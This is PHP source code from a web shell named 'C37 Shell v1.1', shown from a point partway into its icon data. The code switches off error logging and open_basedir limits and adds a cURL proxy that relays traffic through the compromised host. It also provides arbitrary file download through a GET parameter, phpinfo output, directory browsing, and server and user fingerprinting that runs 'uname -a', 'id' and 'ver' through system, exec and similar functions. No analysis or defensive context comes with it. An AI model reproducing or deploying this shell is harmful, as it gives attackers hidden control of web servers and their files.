array('rb','rbx','rhtml'),'lhEAAQAOYAAAAAAP///4wMDYsMDfuqSv2eRfLAmPiFOPO5kvS+mvB2Mex4OfNvLutkJvFqL+ZpNOhYIelYIuhWI+NWJelkNOOSdeKUduWWePSfgeSXe+JNH+JRH9tNHuSMcOSNcuKPddRFHt1OJvGJbfKLb9tDG9Q/HNp8Y96Ca8UxE9k8G9xBINJDIs9IKtVmUOJ3Yd15Y9x3Y/CGcPSOd/SOePOQevmUf/eSfviUf+B0YvGKdvOMeM1KOM9ZSdBQQbYUCrETC7UWDbAYEMFEPcppY45cWdealqkTDJsQDKATDawaFKAXE6UaFZwZFct2cooNDJUQDooNDYwODpIQD44PD4oREZcYFZEYFnAsLOXY2Pz6+v39/fHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm5uXl5eDg4KGhoZ6enpqampWVlZCQkIqKioSEhH19fXd3d3BwcGpqamNjY15eXlhYWFRUVFBQUP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHkALAAAAAAQABAAAAfZgHl5aYSFhoKIeWpajI2MamqJeWtaZGVlZmdnWmFra4lsWmNklphaZ2FsbIhtWmJjo5ZaaKhtbYJunGFir2SOWm6Cb1lFQkA+Q1ixZVpvgkQ/PTkvJjtNvLBacIJBODUzGhQZSWG7YlpxeUYuNjIrGwsfS19g5VpyeTw3OiwoHA8WlHj5Qk/LHCQ0YoSIMEGCigtMungZqIXOERggGhxwQCJFhSpcukjUUufJCQUECjCAUMKDlS1cQmqxI6UFghEiMCQw0MGKowB38kyJIsDJACgDqFzBw7RpIAA7', array('pdf'),'lhEAAQANU+APj4+Pf39+LHyq18hs50ev7+/qqAiolobbR+h76+vq2Ci7GBivn5+ckABeO4u9aJjbItNYiIiLtMVOjo6IUYI3BBTap1fMsmNuzc3pcADObm5pQOG8HBwfDn6M6Kj8ycouvT1Kk9SPDw8IAADrAdJqVMVs7Ozrp5gbqKkOLN0LcACOCFh8mZmtyqrKJCTeHh4e/v78rKyuTk5PHx8fLy8tQnOKdDTncVH/z8/PX19bQhMJiBhqMeK////////wAAACH5BAEAAD4ALAAAAAAQABAAAAaqQJ+QZysabS4BQMg8TWRQmWZi6il9l5p2q73IEj0rQEcum1/gXgDFa7vfL07kMKfc7vg75SWLJWIWTAcxhDEsDQQwMDM0CEwWMi+SLQ0rM4w5jkIDiooiDSA0NDmZTAOXlw4qD6Q5AQumoqMQDyQSBAQOsJutHhkQtzwZNrs+BgEdIRtKAQAMGDgKTAYMJSMfDDjaOAUF0kIGOBgp291hPd8+FTvs7e47FUEAOw==', array('exe','xbe','xex','elf','xpi','pef','nlm','o','app'),'lhEAAQANU1APX19fHx8fj4+Pv7++7u7vPz8/b29uzs7Gd4kfz8/PT09Pr6+vn5+f39/UyQj+jo6EeElenp6UN7mFCXi1iiglKaiVSdhztpoE6UjUmJk+vr6+/v7z1unmCtdmSxcubm5j5xnUF4mkWAll6qeVyofFqlflaghEqMkV2pevDw8ER9l+fn5+3t7UB0m/f39+rq6v7+/tPZ4MrMzf///4+Sl////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADUALAAAAAAQABAAAAaAwJpwSCzWaMikcomMOZ9PREyKQMqu2GwWOet6YbDGgGFQBLgXTksCAYvJlzNtBgqJMo5GFqDacNknGBUJCwICAAUTBFx4ExYUA1kBKAdcgiYlI2QKZhsHL1yPJB0eLlksGg9cMzCEh4gpBBoRK6uthYgBBAcRDx9MwEpGw8TFQkEAOw==', array('ini','inf'),'lhEAAQANU/APT09PTy8ry8vK2trfz8+/v7+uru8ri4uLq6uuDh4/Pz9vr6+fz7+76+vvv6+fLy8vj399jY2uXl6JKltZuyx/b19Pz7+rnN4Pr5+Pf29sbV34aGhvn4+J2dnaS90YSdtPTz9Pf19f39/vX08/r5+ZCQkPn49/Px8crKyvf5+rKyssXFxfP08+bl5Zawx7W1tfr6+uDf3/v6+oeesf38/Pj3+Pb19aa+0Imht/7+/f39/MDAwHl5eXKHmsjW4P///yH5BAEAAD8ALAAAAAAQABAAAAatwN9vt1MQjcUdTMjcMRoRHZTQQCFYzF+jkJDournEKiN4MAWLAoOg0+VyiMMBccYsZBa2O9eK0YU9PoGBPoWGB0IGN4o3OD55NHuIPYs9lh4uhIYvPykGPQAVEDg9NQ4FBJEqP5Q9Gho+pJqFqz83PScPFaQgHCSnDAOsExc4xhQzsz7CPxcTlj0fFDYZEBx2HUIig4KG3iVMGycnAQEgIxUh1SYbTDzv8PHwP0EAOw==', array('bat','cmd','nt','ncf','com','pif'),'lhEAAQANU/AKW7zP39/Wd2jXGMpMjp/OP//4SatYmkutP9/1h1lPLy89v9//b29vj4+d3k7PDw8Pr6+qjE2MHe8PX19ZufqPr7/Pf4+LrO4T9hgvLx8ev//9Ph6pq4z3ehw/f39/n6+vb19ZCwxx1Xkfr5+fHy8fHy8vPz8+Lq8PLx8mRpgLbr/1iNvKGqu9v1+4qVpfP087HT6LPY7vn5+WF9m/n6+fTz8/j///X29fz8/PT09IOw1ShbkdDW3f///4+Sl////yH5BAEAAD8ALAAAAAAQABAAAAaowJ9wSCz+fMikconkOZ9PAU8qQPauHMfOEZHJLB7GxNrbIXo222XXCE9y1tAZgEkVLgkQKGeynnoUAzIXAy0bN3x9PgE7BRQ4EBkzEjsTNSYoSAEOCwsCMgAHMCwvJgoZmgYwBQQHIRIROgkrJKg+OBU7BhoqrTo7FQkdD0iQMhQxOy4ACRU6wSVIECMWFgwgpb8VIjrEPh9tHm85CiWy3d5M6khG7UNBADs=', array('wmv','avi','swf','flv','f4v','3gp','asf','mov','mpg','rm','mp4'),'lhEAAQAOYAAAAAAP///7RUhI5ZdIZhkl5adjtASEdOVztBSEVMVFZeZ3R+iUVvm0ZOVkdOVUhPVm95g3F7hWZveHN9h2JqcmBqc3WAimJrc2Zvd2hxeTyZ6XJ9hkh2mGFrc3iEjXeDjHaCi2lze11mbV9ob12o22NtdGJsc3eDi213fh2q+kJ8njSGskez7U6En2CPp0uy5HXE6HSToIfA1XGgsmB2fmmbqGKXonLU4nLP3v///v7+/f39/Pz8+/v7+vr6+fr5+Pn49/j39vb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P/+/vz7+/j39/f29vb19fTz8/Py8uDf3/7+/v39/fb29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGgALAAAAAAQABAAAAfPgGhoWISFhVmCiYNMPDs7Ojo8OlZdimhZPYyOkDpXVZWJWj6ZjY86XF5eXIlbPx4eHbEVCighUquCXEAeUzU4ODc2OSE6XoleQR4nMTIyMC4hGcWJX04fOgMCAgQFSxg6X4lgTyAWDw4OCQgSJTtgiWFGFlQrKSkaDFMXPGGJYkcLNrR48YKFChMUmIhJNAbJBCo0ZswgwWHKiB5jEpGJEgHCgY8NDIwQ4YNMojJJiCA5MkRIESdNgPwok8iMkpRIoLR8GdNMojNAgwoNiiYQADs=', array('mp3','aac','aif','m3u','midi','mid','mpa','ra','wav','wma'),'lhEAAQAOYAAAAAAP///4mm18rc7k2Y3Nzo8yGD12Kj2Gum2rHP6Ad4zcnd7Ad4ys3i8N/s9QKC1DSa2Vyw5+vz+ACN4RKV3zOTy9Xo8wCM0QOa6RCLzEKk1IvN8Nzq8eLv9gCe6YnE3pDI4p7O5ACe4Tqm0lnE8p7S58Le6gCX0gSj4C2hy/P39/7+/f39/Pz8+/v7+vr6+fn5+P38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGEALAAAAAAQABAAAAfEgGFhUYSFhVKCiYNCLSwsKystK09WimFSLoyOkCtQTpWJUy+ZjY8rVVdXVYlUNC9DMg4IBZBMTauCVTWuQx0PJJsrV4lXNjUwRBIRKCWmw4JYR8YwFgcfGUGPWIlZSDfGKikzBi0xLFmJWjzeDRsjAwouLS1aiVs9SQQUHhAJAjOZtiTi4qMHBhETGCwo4soFl0RdlviocOKChiNGGL7oksjLDx0mQoDgsAPjLi+JvgD56ENJDhwljdT4kgiMzZs4b4YJBAA7', array('c','h'),'lhEAAQAOYAAAAAAP////z8/v7+//n6/t3k9+/y+/X3/fr7/vn6/efs+erv++zw+r3N8MPS8sXT8tLd9dni99ni9tvk+OLp+ebs+ubs+eXr+Onu+e/z/MrY88zZ9M7b9Nrj9tzl99ri8uDo+Ozx++/z+/T3/fv8/tLe9Nbh9tDb79fi9t7n+Nvj8uLq+ebt+ufs9aOxx+Xr9ejt9fX4/ZWjuKSzyZmnvKe2zMHP40JroDRIYjVJY4ulyHmKoJOit5WkuZyrwKu70am5z6SzyJ2swLLC2K+/1a6+1LnI3MjU5LrF1O/0+wE5fSFSjyJTjzJfl0NsoHeVuoGdwYWgwoiiw4ehwoeiwpGqyniKoaCwxLvK3crW5Pj7/vz9/uzx9f7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF8ALAAAAAAQABAAAAeigF9fQ4SFRUAzLoKLgwGOj10+ODuMX0SPjgMkPUg4Vow/mAMCCTw5p4w1j1hSUy1JPKaMQY5PTFROTQsWPDiMV15cSlkEL1AqK72MQltGSggHGQwXBcqLNFpHSjAjIR8gKNaCMjEHTFExVUonJeJfPCIGNjdKSzoRG+48GBYVLAoUOnB4oI9CigkSTEDQ4KCBPg+xIkr0tagXjosYM1bayDEQADs=', array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),'lhEAAQAPcAAAAAAP////v7/vz8/v7+//39/vn6/vj5/eLo+Ovv+vH0/PT2/NLc9eDn+MbM2+jt+unu+tnd58HQ8cLR8cjV88rX883Z9NDb9dXf9drj97zE1b/H2OPq+erv+u/z/O7y+7zN8MXU8sbV8qOvxqCsw8vY887b9K+5zdHd9NPe9dji97fA0tnj993m+Nzl9+Do+PT3/fP2/Pj6/vf5/fv8/vf4+qWxx6u2y6q1yqizyNXh9rO9z9rk99ji9d7n+NLY49rf6OLm7aOxx7C7zbfB0ubt+e3y+uns8aSzyZ6rvrvF1LjBz/n7/jRIYjVJYztOaDxPaKnD5XmKoLHE3ZOit5alupaluZyrwKm5z7LC2K6+1LjH29rl9Ovw9wBOrg1Ysg5XsiBluS9uvDBvvTJxvjZzvjh1vzh2vz96wWuZ0DtPaEFUbEJVbYit2UlbcpGz3JW23Zm536bC43iKobDH5LPK57TL58ra7t/o8+bu+Ofr8GCSzG6c0X6m1LXM5sTX7MbY7dvn9Nzn8+Dn7+nv9v3+//z9/v7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAIkALAAAAAAQABAAAAjgABMJTJSloEEtWJAIGThwS4CHEA9daSKFYaJBEB8SoFFFiZM5AvGk6RMHYiEBB5KwUeMk0Z8vYMZ4eRMA0AAmM+4EiQAl0R4vXWq0kUPACw0DB7zEALIm0Rk0AfQg4uKlKtWqU9wkMiMmwJFABQx5mQFjgZcPP5ry8WKHEJkwMup46PAgygsHTxIJKlPVCxwFCTj4yNADBZEmA+n4yaMAAgIeOhhYoDAE8cAlRoo0YIHhQgkRE3BYFmiFQwsVKUxUCCEBhI3Riai42KBhxY4TN3KMIAGbSpPfwIPDtkg8UUAAOw==', array('cs','c#=','csproj','csx'),'lhEAAQAOYAAAAAAP////z8/v39/u/y+/r7/vn6/dri9t7l9+Dn+OTq+ebr+Orv++nu+vb4/cHQ8cLR8cfV88rX88zY9NHc9eLp+eXr+ebs+bzN8MXU8s3a887b9NPe9dji99ji9t3m+Nzl99/n9+ju+vT3/dPf9dXh9trk99/o+Oju+e3y++zv9JOhtaSzyZyqvqeyws7U3dXb5OLm7PP1+DRIYjVJY2Byimh5kYKRpYiXrJOit5WkuZyrwKm5z6SzyLLC2LDA1q6+1LrF1O/0+3GDmniKoXmLonyNovT2+PP19/7//+Lt597r4Orz68rfy8/i0K7OrwCZAACVAACUAAGVAQKWAgSXBAaYBgeZBwiZCBmjGXjJeJ7Ynt/s3+Ds4OLu4vv9+////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGAALAAAAAAQABAAAAezgGCCg4SFhD6IiUA8LD2GPgGRkkk7M0WFP5IBVlwDOkEzRIKRKpFYXFJYAjk0rYJdWVBeXlJVUE0GQjmsYAFQXUdaV1RMUlQODBc5M71QATKRVFNSSwQWJ8u9WV1IW1dRT1NKCyEH2WBdULJfVU4jIggeJOe9MQUwLy43QzY1GvRgcqRooCCBiRIUJkQAmANFixU4jPCrAYFhhQ8dOGyQkOEBBoYgdokcyWzQshkoU6oEEwgAOw==', array('asm'),'lhEAAQAOYAAAAAAP////z8/v7+//39/vz8/fr7/uzu88PR8cbU8tXf9rzE1b/H2N7m+OPq+eLp+Obs+evw++Pm7bzN8L7P8aOvxqCsw8rY89Dc9K+5zdXg9rfA0tzl9+Do+O/z+/P2/Ofq8Pf5/fDy9u/x9fv8/vr7/aWxx6u2y6izyLO9z9rk9uHp+PD0+7/I19rf5/X4/aSzybvF1MfQ3c3U3vL2/Pn7/vL09/Hz9jRIYjVJYztOaDxPaGd2i6S72pOit5alupaluZyrwKm5z7LC2K6+1L7H0+3w9DJfl0Z1sUd2sUFUbElbcpOuz5ey1Ki/2qrA26m/2qzB26q7z7C8y6qzvuLp8nuKmunt8e7x9PL09vz9/v3+/v7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF0ALAAAAAAQABAAAAewgF2CQ4SFREIwgoqDXI2OXEE4i4yPjT8xOZNSlY1FVFY8izIBpKVbBTcSO11IR11XUUdHAbKyTUZKXQFMRyNHTwNbRwNHWkciS11JsjZPR04CRwRHJMe5R1VHWQNQRzXF1EcHOsqyWLI9IeEGRyCSijMlBDQsNC8eHxEu74JT9RAPVjhQ0UBBC35dgHRQoQHDhQQIKEwwgdAHBwYLNqTIcAJFBQsVcYgcSRLhpJOCAgEAOw==', array('dll','so','lib','sys','drv','cpl','ocx','scr'),'lhEAAQAOYAAAAAAP///wEXNihAXFh0kihbkc/i9fr7/Jqvwq/D1YOw1a/F2KzD1bPV6dbw/9vy/930/9ru9dbo7/f4+P7+/f39/Pz8+/v7+vr6+f38+/r5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/r5+fj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEUALAAAAAAQABAAAAe/gEVFNYSFhTaCiYMoFhUVFBQWFDM6ikU2F4yOkBQ0MpWJNxiZjY8UOTs7OYk4GhgoDAULE5AwMauCORsoBRUPDwUUpjuJOxwMFQ0DDgYLw4k8KwUPAikJEQUnjzyJPSwMvwgSCgQKGRU9iT4iLAUQDwoFBwUKFj6JPyMtHrEEBwoHCKD4kQgICX0eOsSbp+ACkERBXhzcF4KcAldBEgkpAeLgBw8hVqjYoEFIoiEmOJJw8THkyCGJiMicSXNmkUAAOw==', array('zip','rar','tar','gz','7z','ace','dmg','par','lzo','tgz','uha','z','zoo','r00','arj','bz','bz2','tbz','tbz2','uu','iso','xxe','cab','pbk','uuf','lzh','lha','deb','pkg','sit','zipx'),'lhEAAQANU/AABrRHkDRf9+0wCDUgBXpogBUgBVnoMCTgBTlZkJYVQTE6APZyoqKlwTGq2usWoPJsvP1YCAAKKjpvz9/3MTKyUlJW4ZH/j7/87P0hA1AAAxT8XFHdHRAJGRAJaWALm5AGm//wVitYzvzf++8FMOIGfqvli2//pnxehZtZjX/6Td/7Dk/7v14U3ns4HL/43R/xXfm/+c4j8/PwBMiHXF/8XHzNnb4ACIV5IBWRhNAAA7ZmITGE8AAP///wAAAP///yH5BAEAAD8ALAAAAAAQABAAAAahQFJjRywWG4qfUqKweDgdC+UxnSaVNVKgw/EEDt9w0nGBKBILtDqdOOwqmEmt0BvFYoL86YRqSHw2PRYbOIWGhQU8PzWADRE8kJGSZBAMPpeYmT4/cHIhPSsqKS8uNCAmJhp/gQQbBK8GsQizm4w2MxE6uru7GpSWmpqccTUDPSwiJSUtLTDOGT8MgQAfN9bX1gOb0TYAETng4eHQSjLBwkEAOw==' ); for ($i = 0; $i<46; $i += 2) { if (in_array($_GET['ext'], $ImgArray[$i], TRUE)) { echo base64_decode('R0lGOD'.$ImgArray[$i+1]);die; } } echo base64_decode($UnKnown); die; } } if (function_exists('error_reporting')) { error_reporting(0); } if (function_exists('set_time_limit')) { set_time_limit(0); } if (function_exists('ini_set')) { ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('file_uploads',1); ini_set('assert.quiet_eval',0); ini_set('allow_url_fopen',1); ini_set('memory_limit','10000M'); ini_set('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_set('magic_quotes_sybase',0); ini_set('magic_quotes_runtime',0); ini_set('magic_quotes_gpc',0); ini_set('open_basedir',NULL); } elseif (function_exists('ini_alter')) { ini_alter('error_log',NULL); ini_alter('log_errors',0); ini_alter('file_uploads',1); ini_alter('allow_url_fopen',1); ini_alter('memory_limit','100000M'); ini_alter('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_alter('magic_quotes_sybase',0); ini_alter('magic_quotes_runtime',0); ini_alter('magic_quotes_gpc',0); ini_alter('open_basedir',NULL); } if (function_exists('get_magic_quotes_gpc')) { if (get_magic_quotes_gpc() === 1) { if (isset($_GET)) { for ($i = 0, $Z = count($_GET); $i <= $Z; $i++) { $_GET[$i] = stripslashes($_GET[$i]); } } if (isset($_POST)) { for ($i = 0, $Z = count($_POST); $i <= $Z; $i++) { $_POST[$i] = stripslashes($_POST[$i]); } } } } if (function_exists('get_magic_quotes_runtime')) { if (get_magic_quotes_runtime() === 1) { if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); } if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); } } } else { if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); } if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); } } if (function_exists('ignore_user_abort')) { ignore_user_abort(FALSE); } if (!isset($_SERVER)) { $_SERVER = $HTTP_SERVER_VARS; } header('Content-Type: text/html; charset=utf-8'); if ($_GET['action'] === 'cURLframe') { session_start(); if (!empty($_REQUEST['c37url'])) { $cURLSess = curl_init(); if (!empty($_GET['c37url'])) { curl_setopt($cURLSess,CURLOPT_URL,base64_decode($_GET['c37url'])); $CurrentWebsite = $_GET['c37url']; } else { curl_setopt($cURLSess,CURLOPT_URL,$_POST['c37url']); $CurrentWebsite = base64_encode($_GET['c37url']); } curl_setopt($cURLSess,CURLOPT_RETURNTRANSFER,TRUE); curl_setopt($cURLSess,CURLOPT_FOLLOWLOCATION,TRUE); curl_setopt($cURLSess,CURLOPT_AUTOREFERER,TRUE); curl_setopt($cURLSess,CURLOPT_BINARYTRANSFER,TRUE); if (count($_POST) !== 0) { curl_setopt($cURLSess,CURLOPT_POST,TRUE); curl_setopt($cURLSess,CURLOPT_POSTFIELDS,$_POST); } if (!isset($_SESSION['UA']) && isset($_POST['UA'])) { $_SESSION['UA'] = $_POST['UA']; } curl_setopt($cURLSess, CURLOPT_USERAGENT,$_SESSION['UA']); $Page = curl_exec($cURLSess); /* $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } $Base = ''; $Page = preg_replace('/(<\/head\s*>)/Us',$Base.'${1}',$Page); $Page = preg_replace('/()/Us','${1}
Web Proxy | Retrun to shell | Go to:
',$Page); */ header('Content-type: '.curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE)); $type = curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE); if (empty($type) || strpos($type,'text/html') !== FALSE || strpos($type,'application/xhtml+xml') !== FALSE || strpos($type,'application/xml') !== FALSE) { $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } $Href = $For.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF'].'?action=cURLframe&c37url='; $doc = new DOMDocument; $doc->loadHTML($Page); $items = $doc->getElementsByTagName('a'); for ($i = 0; $i < $items->length; $i++) { $CurItem = $items->item($i); if ($CurItem->hasAttribute('href')) { $Attribute = $CurItem->getAttribute('href'); if ($Attribute[0] === '/') { $CurItem->setAttribute('href',$Href.$CurrentWebsite.base64_encode($Attribute)); } else { $CurItem->setAttribute('href',$Href.base64_encode($Attribute)); } } } $items = $doc->getElementsByTagName('form'); for ($i = 0; $i < $items->length; $i++) { $CurItem = $items->item($i); if ($CurItem->hasAttribute('action')) { $Attribute = $CurItem->getAttribute('action'); if ($Attribute[0] === '/') { $CurItem->setAttribute('action',$Href.$CurrentWebsite.base64_encode($Attribute)); } else { $CurItem->setAttribute('action',$Href.base64_encode($Attribute)); } } } $items = $doc->getElementsByTagName('img'); for ($i = 0; $i < $items->length; $i++) { $CurItem = $items->item($i); if ($CurItem->hasAttribute('src')) { $CurItem->setAttribute('src',$Href.base64_encode($CurItem->getAttribute('src'))); } } echo $doc->saveHTML(); } else { echo $Page; } curl_close($cURLSess); die; } } $ShowFiles = TRUE; if (isset($_GET['dir'])) { if (!chdir($_GET['dir'])) { $ShowFiles = FALSE; } } $CDIR = getcwd(); if ($CDIR[strlen($CDIR)-1] !== DIRECTORY_SEPARATOR) { $CDIR .= DIRECTORY_SEPARATOR; } $SCDIR = urlencode($CDIR); if ($IsAction) { if ($_GET['action'] === 'info') { phpinfo(); die; } if ($_GET['action'] === 'download') { if (is_readable($_GET['file'])) { header('Content-Description: File Transfer'); header('Pragma: public'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: private',false); header('Expires: 0'); $B='Content-Type: '; if (class_exists('finfo')) { $finfo = new finfo(FILEINFO_MIME); $B .= $finfo->file($_GET['file']); } elseif (function_exists('mime_content_type')) { $B .= mime_content_type($_GET['file']); } elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_GET['file']); $B .= $Info->content_type; } else { $B .= 'application/download'; } header($B); header('Content-Disposition: attachment; filename="'.$_GET['file'].'"'); header('Content-Transfer-Encoding: binary'); header('Content-Length: '. sprintf('%u', filesize($_GET['file']))); if (function_exists('readfile')) { readfile($_GET['file']); } elseif (function_exists('file_get_contents')) { echo file_get_contents($_GET['file']); } elseif (function_exists('fread') && function_exists('fopen')) { $handle = fopen($_GET['file'], 'rb'); echo fread($handle,sprintf('%u',filesize($_GET['file']))); fclose($handle); } elseif (function_exists('fgets') && function_exists('fopen')) { $handle = fopen($_GET['file'], 'rb'); $contents = ''; $Line = ''; do { $Line = fgets($handle,sprintf('%u',filesize($_GET['file']))); $contents .= $Line; } while ($Line !== FALSE); echo $contents; fclose($handle); } elseif (function_exists('fgetc') && function_exists('fopen')) { $handle = fopen($_GET['file'], 'rb'); $contents = ''; $Character = ''; do { $Character = fgetc($handle,sprintf('%u',filesize($_GET['file']))); $contents .= $Character; } while ($Character !== FALSE); echo $contents; fclose($handle); } die; } else { echo 'Are you kidding me?!
This file does not exist or is not readable...'; die; } } if ($_GET['action'] === 'getfile') { if (!readfile($_GET['file'])) { echo file_get_contents($_GET['file']); } die; } if ($_GET['action'] === 'printimg') { echo ''; die; } } $IsWIN = strtoupper(substr(PHP_OS,0,3)) === 'WIN'; echo '',"\r\n", ' :: C37 Shell v1.1 - ',$_SERVER['SERVER_NAME'],' ::
'; if (!$ShowFiles) { echo '
:: Error While Changing Directory :: (Could not Open ',htmlspecialchars($_GET['dir']),')'; GetLastError(); echo '




'; } echo '
Server Signature: '; if (!empty($_SERVER['SERVER_SIGNATURE'])) { echo $_SERVER['SERVER_SIGNATURE'],'
'; } elseif (!empty($_SERVER['SERVER_SOFTWARE'])) { echo $_SERVER['SERVER_SOFTWARE'],'
'; } elseif (function_exists('apache_get_version')) { echo apache_get_version(),'
'; } echo 'System: '; if (function_exists('php_uname')) { echo php_uname('a'); } elseif (function_exists('posix_uname')) { foreach (posix_uname() AS $key => $value) { echo $value,' '; } } elseif (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { if ($IsWIN) { if (function_exists('system')) { system('ver'); } elseif (function_exists('shell_exec')) { echo shell_exec('ver'); } elseif (function_exists('exec')) { $ExecArray = array(); exec('ver',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } elseif (function_exists('passthru')) { passthru('ver'); } elseif (function_exists('popen')) { $Read=''; $Handle = popen('ver','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } } else { if (function_exists('system')) { system('uname -a'); } elseif (function_exists('shell_exec')) { echo shell_exec('uname -a'); } elseif (function_exists('exec')) { $ExecArray = array(); exec('uname -a',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } elseif (function_exists('passthru')) { passthru('uname -a'); } elseif (function_exists('popen')) { $Read=''; $Handle = popen('uname -a','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } } } elseif (function_exists('curl_version')) { $cURLinfo = curl_version(); echo $cURLinfo['host']; } else { echo PHP_OS; } echo '

PHP Version: ',PHP_VERSION, ''; if (function_exists('php_sapi_name')) { echo ' (',php_sapi_name(),')'; } elseif (is_defined('PHP_SAPI')) { echo ' (',PHP_SAPI,')'; } echo ' Zend Version: ',zend_version(), '
Safe Mode: ON (Secure)' : 'green">OFF (Not Secure)') ,' [Disabled Functions&Classes]
'; if (!$IsWIN) { if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { if (function_exists('system')) { system('id'); } elseif (function_exists('shell_exec')) { echo shell_exec('id'); } elseif (function_exists('exec')) { $ExecArray = array(); exec('id',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } elseif (function_exists('passthru')) { passthru('id'); } elseif (function_exists('popen')) { $Read=''; $Handle = popen('id','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } } else { if (function_exists('getmyuid')) { $UID = getmyuid(); } elseif (function_exists('fileowner')) { $UID = fileowner(__FILE__); } if (isset($UID)) { echo 'UID: ', $UID; if (function_exists('posix_getpwuid')) { $ID = posix_getpwuid($UID); echo ' (',$ID['name'],')'; } elseif (function_exists('get_current_user')) { echo ' (',get_current_user(),')'; } } else { if (function_exists('get_current_user')) { echo 'User: ',get_current_user(),')'; } } if (function_exists('getmygid')) { $GID = getmygid(); } elseif (function_exists('filegroup')) { $GID = filegroup(__FILE__); } elseif (isset($ID['gid'])) { $GID = $ID['gid']; } if (isset($GID)) { echo ' GID: ', $GID; if (function_exists('posix_getgrgid')) { $ID = posix_getgrgid($GID); echo ' (',$ID['name'],')'; } } } } else { echo '[VIEW DRIVES]'; if (function_exists('getenv')) { echo ' Logged User: ',getenv('USERNAME'); } if (function_exists('get_current_user')) { echo ' (Owner: ',get_current_user(),')'; } } if (function_exists('getmypid')) { echo ' PID: ' . getmypid(); } echo '
